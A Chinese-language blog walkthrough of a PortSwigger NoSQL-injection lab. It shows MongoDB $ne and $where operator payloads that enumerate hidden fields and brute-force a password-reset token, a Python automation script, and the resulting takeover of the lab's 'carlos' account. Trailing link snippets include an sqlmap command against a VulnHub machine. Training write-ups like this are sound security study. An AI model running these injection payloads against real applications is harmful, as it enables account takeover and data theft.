[罗嗦的详解BURP靶场]彻底理解nosql最终关Lab: Exploiting NoSQL operator injection to extract unknown fields

news/2024/9/30 15:23:22

参考:
https://www.freebuf.com/articles/web/358650.html
https://youtu.be/I3zNZ8IBIJU


关于NoSQL

数据库分为传统的RDBMS(Relational Database Management System)(比如mysql sqlserver那类) 与NoSQL(NoSQL = Not Only SQL )

NoSQL 数据库并非采用关系数据库的典型表结构,而是将数据存储在一个数据结构中,例如 JSON 文档。由于这种非关系数据库设计不需要使用架构,因此,它提供快速可扩展性以管理通常为非结构化的大型数据集。
可用NoSQL技术的应用,以下👇为ai回答:

除了MongoDB,还有许多其他使用NoSQL技术的数据库,它们各自适用于不同的场景和需求。以下是一些流行的NoSQL数据库:Redis:一个开源的键值存储系统,常用于缓存和消息队列1。
CouchDB:一个面向文档的NoSQL数据库,它允许你以JSON格式存储数据,并通过HTTP进行访问2。
HBase:一个开源的非关系型分布式数据库(NoSQL),它是Apache Hadoop项目的一部分,提供了类似于Google’s Bigtable的能力1。
Neo4j:一个图形数据库管理系统,它通过图形结构存储数据,适用于处理复杂的关系网络1。
Elasticsearch:虽然通常被认为是一个搜索引擎,但它也可以作为一个分布式文档存储,存储结构化的JSON文档,并能够实时搜索1

这个bp靶场是mongoDB的可以用mongodb的


前置知识

mongodb的$where操作符可以向nosql执行JavaScript代码查询,用法如下👇

{ $where: <string|JavaScript Code> }   ($where值可为一个function)

$ne操作符为不等于,用法也为一个{}左边写操作符右边写string


打靶

我们用布尔和报错注入日这个靶场
靶场的目标是log in as carlos


开局一个登录框,有忘记密码和输入密码两个地方可以日
再登录口输入carlos并进行抓包,POST包的请求体如下

{"username":"carlos","password":"shift"}

对password参数进行测试,看能不能传操作符

{"username":"carloss","password":{"$ne":""}}

改完了发包,是能传的 (这里不知道为什么博客园上传不了图片了,我用文字描述)

{"username":"carlos","password":{"$e":""}}(错误的操作符) 会提示internal server error
{"username":"carlos","password":{"$ne":""}}(正常的操作符) 会提示Invalid username or password
构造带where操作符的json

{"username":"carlos","password":{"$ne":""},"$where":"function(){return 1;}"}


注意看如果是return 1 会有reset passwd提示


在本地搭建mongodb,深入探究


此处部分抄袭freebuff的一篇文章

docker search mongodb  docker搜索mongodb镜像
docker pull mongo:latest  拉取最新版本的mongodb镜像
docke images 查看镜像
docker run -d -p 27017:27017 --name mongodb mongo:latest  运行容器
apt install mongodb
mongo --host 127.0.0.1 --port 27017use 数据库名       //创建数据库
db.数据库名.insert //写数据
db.数据库名.find   //查数据

打靶过程中后端对数据库的查询如下图

看完这个图这个漏洞的原因因该就懂一点了,自己安装环境实操一下就更懂了
可以发现实际上数据库存储的两个字段的数据实际上有三个字段(多一个"_id")
众所周知JavaScript中Object.keys()可以列出所有键名,这里不是可以注入js吗?那我们就在靶场验证一下👆上边这句(指多一个"_id")
构造payload:

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[0].match('_id'))return 1; else 0;}"}


reset提示,证明return的1 👆 验证成功~

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[2].match('password'))return 1; else 0;}"}

👆这样字段名也有了,password~👆
intruder爆破密码长度,payload👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.password.length==1)return 1; else 0;}"}

当然爆破不出来,carlos没有password,所以没有提示reset
(return 1差不多就是查询成功,但它还不让登录,该想到账号密码登陆不了)
.
小技巧: intuder的settings可以设置正则匹配,比如我想匹配'reset'👇
(如果想匹配中文请使用十六进制编码,python -c "print('你要匹配的中文'.encode('utf-8'))" 即可)

.
只能寻找隐藏字段了
intruder爆破隐藏字段长度,payload👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[3].length==§1§)return 1; else 0;}"}

长度为5 👆
让我们尝试对隐藏字段的每一位进行依次爆破,涉及一点正则表达式👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[3].match(/^a/))return 1; else 0;}"}

对a进行intruder👆字典就用单字符字典就行,对此题来说非常的短小精悍
第一位是e ~👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[3].match(/^ea/))return 1; else 0;}"}

以此类推拿到隐藏字段email
不对啊我要你email干啥
同种方法爆破下一个字段为👇
passwordReset
爆破字段值👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.passwordReset.length==§1§)return 1; else 0;}"}

字段的值有16个那么长,比起像官方靶场页面底下那个youtube视频那样手工测,我新世纪蟒蛇战士还是更喜欢自动化,编写脚本:
编写脚本小技巧:把需求直接仍给AI,AI不一会儿就能写好,自己再修改一下就能用了👇代码奉上👇

import requests
import re
import json
a=''
n=0
list_ = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','0', '1', '2', '3', '4', '5', '6', '7', '8', '9','!', '"', '#', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~'
]
def send_post(l):url = "https://0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net/login"headers = {"Host": "0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net","Cookie": "session=a0cAtApD54z6802ggZ4c2LgltHyxfwf7","Content-Length": "36","Sec-Ch-Ua": '"Microsoft Edge";v="125", "Chromium";v="125", "Not.A/Brand";v="24"',"Sec-Ch-Ua-Platform": "Windows","Sec-Ch-Ua-Mobile": "?0","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0","Content-Type": "application/json","Accept": "*/*","Origin": "https://0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net","Sec-Fetch-Site": "same-origin","Sec-Fetch-Mode": "cors","Sec-Fetch-Dest": "empty","Referer": "https://0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net/login","Accept-Encoding": "gzip, deflate, br","Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6","Priority": "u=1, i"}data = {"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.passwordReset.match(/^%s/))return 1; else 0;}"%l}response = requests.post(url, headers=headers, data=json.dumps(data))#print(response.status_code)#print(response.text)#print(re.search('reset',response.text, flags=0))print(l)return re.search('reset',response.text, flags=0)for i in range(16):for param in list_:param_a=a+paramif send_post(param_a):a=param_aprint (a+'       <-----')breakelse:continue
print(param_a)

说实话这个脚本跑的太慢了,单论速度的话还不如手工,但重要的是跑起代码就可以摸鱼去了呀,而且还是ai写的代码.
得到passwordReset 的值85fa55a8c5f8a31b
推测passwordReset为/forgot-password那一页的参数
/forgot-password?passwordReset=85fa55a8c5f8a31b
成功访问,修改密码即可
过啦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/45182.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

vulnhub - hackme2

比hackme1多了命令执行和文件上传绕过,其他步骤一模一样vulnhub - hackme2 信息收集还是跟1一样,目录扫描之类的没啥利用点,sql注入先打一遍 SQL注入 sqlmap -u http://192.168.157.163/welcome.php --method POST -data="search=1" --level 3 --dbs --batch[*] i…

[C++ Primer] 表达式

记录了C++关于表达式的一些重要语法。[C++ Primer] 表达式左值和右值 当一个对象被用作右值时,用的是对象的值(内容);当对象被用作左值时,用的是对象的身份(在内存中的位置)。 几种熟悉的运算符要用到左值:赋值运算符需要一个(非常量)左值作为其左侧运算对象,得到的…

在vs code通过git提交文件至远程仓库(github)

1.在远程仓库新建一个repository得到一个.git地址2.在vs code打开文件夹(注意是打开文件夹folder而非文件file),然后添加文件3.点击SOURCE CONTROL,点击Initialized Repository,然后添加远程仓库地址第一次需要Github网页授权你本地vs code的Git提交权限,此后便可直接选择…

解决 git 忽略了不在.gitignore中的文件的问题,不在.gitignore 中的文件被忽略了的问题

解决 git 忽略了不在.gitignore中的文件的问题,就是这个文件或者文件夹不在.gitignore中,但是却被git忽略了,文件夹下新增文件都不会被git add 需要自己去手动 git add -f 命令去添加,造成部分代码没有提交。 1.先查看被忽略了哪些文件和文件夹 git status --ignored 我这…

灵哥讲llama3(上)

llama3简介 llama3 是meta 2024年4月18日发布的开源的大语言模型, 发布当时是state-of-art(最牛逼)的开源LLM,下图是llama3和其他主流模型评测对比:llama3官方发布了两个模型的参数:8B和70B(B代表Billion, 10亿),以及发布了用于推理的源代码,官方github地址:https://g…

12-CSS浮动

css浮动01 介绍02 浮动规则03 案例练习 3.1 缝隙的解决方案 <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">…

Golang性能优化实践

内存警察 警惕一切隐式内存分配 典型case:函数返回了字符串、切片,警惕一切字符串传进去的输入,函数内部重新分配了一个新的内存返回 对象复用 1.sync.pool 保证有一个ch大小的对象可用 假设有cpu核数那么多并发任务,可以保证gc的时候有保底在2.局部cache sync.pool毕竟加锁…